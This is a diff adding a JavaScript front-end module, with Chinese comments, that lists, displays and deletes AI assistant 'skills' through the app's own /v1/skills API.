|||
|
|
@ -0,0 +1,112 @@
|
|||
// 技能 modal:查看「平台 skill」/「我的 skill」两组列表,点任一项展开完整 SKILL.md,
|
||||
// 「我的」每项可删除(平台 skill 只读)。左侧 rail 底部「技能」按钮触发。
|
||||
// 后端:GET /v1/skills(列表)、GET /v1/skills/{name}(正文)、DELETE /v1/skills/{name}(只删 user 源)。
|
||||
// 创建 / 改 / fork 仍走对话(save_skill / fork_skill / skill-creator)。
|
||||
import { $ } from "./dom.js";
|
||||
import { state } from "./state.js";
|
||||
import { api } from "./api.js";
|
||||
import { escapeHtml } from "./format.js";
|
||||
import { renderMd, highlightIn } from "./markdown.js";
|
||||
|
||||
function openSkillsModal() {
|
||||
$("skills-modal").classList.add("show");
|
||||
renderList();
|
||||
}
|
||||
export function closeSkillsModal() {
|
||||
$("skills-modal").classList.remove("show");
|
||||
}
|
||||
|
||||
function itemHtml(s) {
|
||||
const badge = s.overrides_builtin
|
||||
? ' <span class="sk-badge">已覆盖平台同名</span>'
|
||||
: "";
|
||||
const del =
|
||||
s.source === "user"
|
||||
? `<button class="sk-del small danger" data-del="${escapeHtml(s.name)}" title="删除我的这个 skill">删除</button>`
|
||||
: "";
|
||||
return `<div class="sk-item" data-name="${escapeHtml(s.name)}">
|
||||
<div class="sk-item-main">
|
||||
<div class="sk-name">${escapeHtml(s.name)}${badge}</div>
|
||||
<div class="sk-desc">${escapeHtml(s.description || "")}</div>
|
||||
</div>${del}
|
||||
</div>`;
|
||||
}
|
||||
|
||||
async function renderList() {
|
||||
const body = $("sk-body");
|
||||
$("sk-title").textContent = "技能";
|
||||
body.innerHTML = '<div class="muted" style="padding:8px;">加载中…</div>';
|
||||
let data;
|
||||
try {
|
||||
data = await api("GET", "/v1/skills");
|
||||
} catch (e) {
|
||||
body.innerHTML = `<div class="err" style="padding:8px;">加载失败: ${escapeHtml(e.message)}</div>`;
|
||||
return;
|
||||
}
|
||||
state.skills = data.skills || []; // 顺手刷新新建任务下拉的缓存
|
||||
const platform = state.skills.filter((s) => s.source === "builtin");
|
||||
const mine = state.skills.filter((s) => s.source === "user");
|
||||
|
||||
let html = "";
|
||||
html += `<div class="sk-group-title">平台 skill (${platform.length})</div>`;
|
||||
html +=
|
||||
platform.map(itemHtml).join("") ||
|
||||
'<div class="muted" style="padding:4px 8px;">(无)</div>';
|
||||
html += `<div class="sk-group-title" style="margin-top:14px;">我的 skill (${mine.length})</div>`;
|
||||
html += mine.length
|
||||
? mine.map(itemHtml).join("")
|
||||
: '<div class="muted" style="padding:4px 8px;">还没有。让助手「帮我做个 skill」或「把某个平台 skill fork 成我的」即可创建。</div>';
|
||||
|
||||
if (data.load_errors && data.load_errors.length) {
|
||||
const errs = data.load_errors
|
||||
.map((e) => `${escapeHtml(e.name)}(${escapeHtml(e.reason)})`)
|
||||
.join(";");
|
||||
html += `<div class="sk-loaderr">⚠ ${data.load_errors.length} 个 skill 因格式问题未加载:${errs}</div>`;
|
||||
}
|
||||
body.innerHTML = html;
|
||||
}
|
||||
|
||||
async function showDetail(name) {
|
||||
const body = $("sk-body");
|
||||
$("sk-title").innerHTML = `<button id="sk-back" class="small">‹ 返回</button><span class="sk-detail-name">${escapeHtml(name)}</span>`;
|
||||
$("sk-back").onclick = renderList;
|
||||
body.innerHTML = '<div class="muted" style="padding:8px;">加载中…</div>';
|
||||
let data;
|
||||
try {
|
||||
data = await api("GET", "/v1/skills/" + encodeURIComponent(name));
|
||||
} catch (e) {
|
||||
body.innerHTML = `<div class="err" style="padding:8px;">加载失败: ${escapeHtml(e.message)}</div>`;
|
||||
return;
|
||||
}
|
||||
body.innerHTML = `<div class="sk-detail">${renderMd(data.content)}</div>`;
|
||||
highlightIn(body);
|
||||
}
|
||||
|
||||
// ───── 顶层绑定 ─────
|
||||
$("hd-skills").onclick = openSkillsModal;
|
||||
$("sk-close").onclick = closeSkillsModal;
|
||||
$("skills-modal").addEventListener("click", (e) => {
|
||||
if (e.target.id === "skills-modal") closeSkillsModal(); // 点遮罩关闭
|
||||
});
|
||||
|
||||
// 列表区事件委托:删除(冒泡到 [data-del])优先于点开详情(.sk-item)
|
||||
$("sk-body").addEventListener("click", async (e) => {
|
||||
const del = e.target.closest("[data-del]");
|
||||
if (del) {
|
||||
e.stopPropagation();
|
||||
const name = del.getAttribute("data-del");
|
||||
if (!confirm(`删除你的 skill「${name}」?不可撤销(平台同名 skill 不受影响)。`)) return;
|
||||
del.disabled = true;
|
||||
try {
|
||||
await api("DELETE", "/v1/skills/" + encodeURIComponent(name));
|
||||
state.skills = null; // 失效缓存,新建任务下拉下次重拉
|
||||
renderList();
|
||||
} catch (err) {
|
||||
alert("删除失败: " + err.message);
|
||||
del.disabled = false;
|
||||
}
|
||||
return;
|
||||
}
|
||||
const item = e.target.closest(".sk-item");
|
||||
if (item) showDetail(item.getAttribute("data-name"));
|
||||
});
|
||||
Loading…
Reference in New Issue